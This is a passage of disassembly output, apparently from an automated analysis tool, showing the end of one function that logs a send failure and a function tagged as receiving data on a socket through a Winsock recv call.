mov rax, r13
jmp 0x1400b30a7
mov r8d, 0x100
lea rdx, [rsp + 0x20]
mov ecx, ebx
call fcn.14009cbc0
mov rcx, qword [rsi]
lea rdx, str.Send_failure:__s
mov r8, rax
call fcn.1400b29d0
mov rcx, qword [rsi]
mov dword [rcx + 0x11b0], ebx
mov dword [r14], Ordinal_60
mov rax, rdi
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.140102190
add rsp, 0x138
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x1400b3740
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub rsp, 0x28
cmp byte [rcx + 0x558], 0
je 0x1400b375d
call fcn.1400ac990
test eax, eax
jne 0x1400b3783
xor al, al
add rsp, 0x28
ret
mov rcx, qword [rcx + 0x4c0]
cmp rcx, 0xffffffffffffffff
je 0x1400b3756
mov r9d, 2
lea rdx, [rsp + 0x30]
lea r8d, [r9 - 1]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x1400b3756
mov al, 1
add rsp, 0x28
ret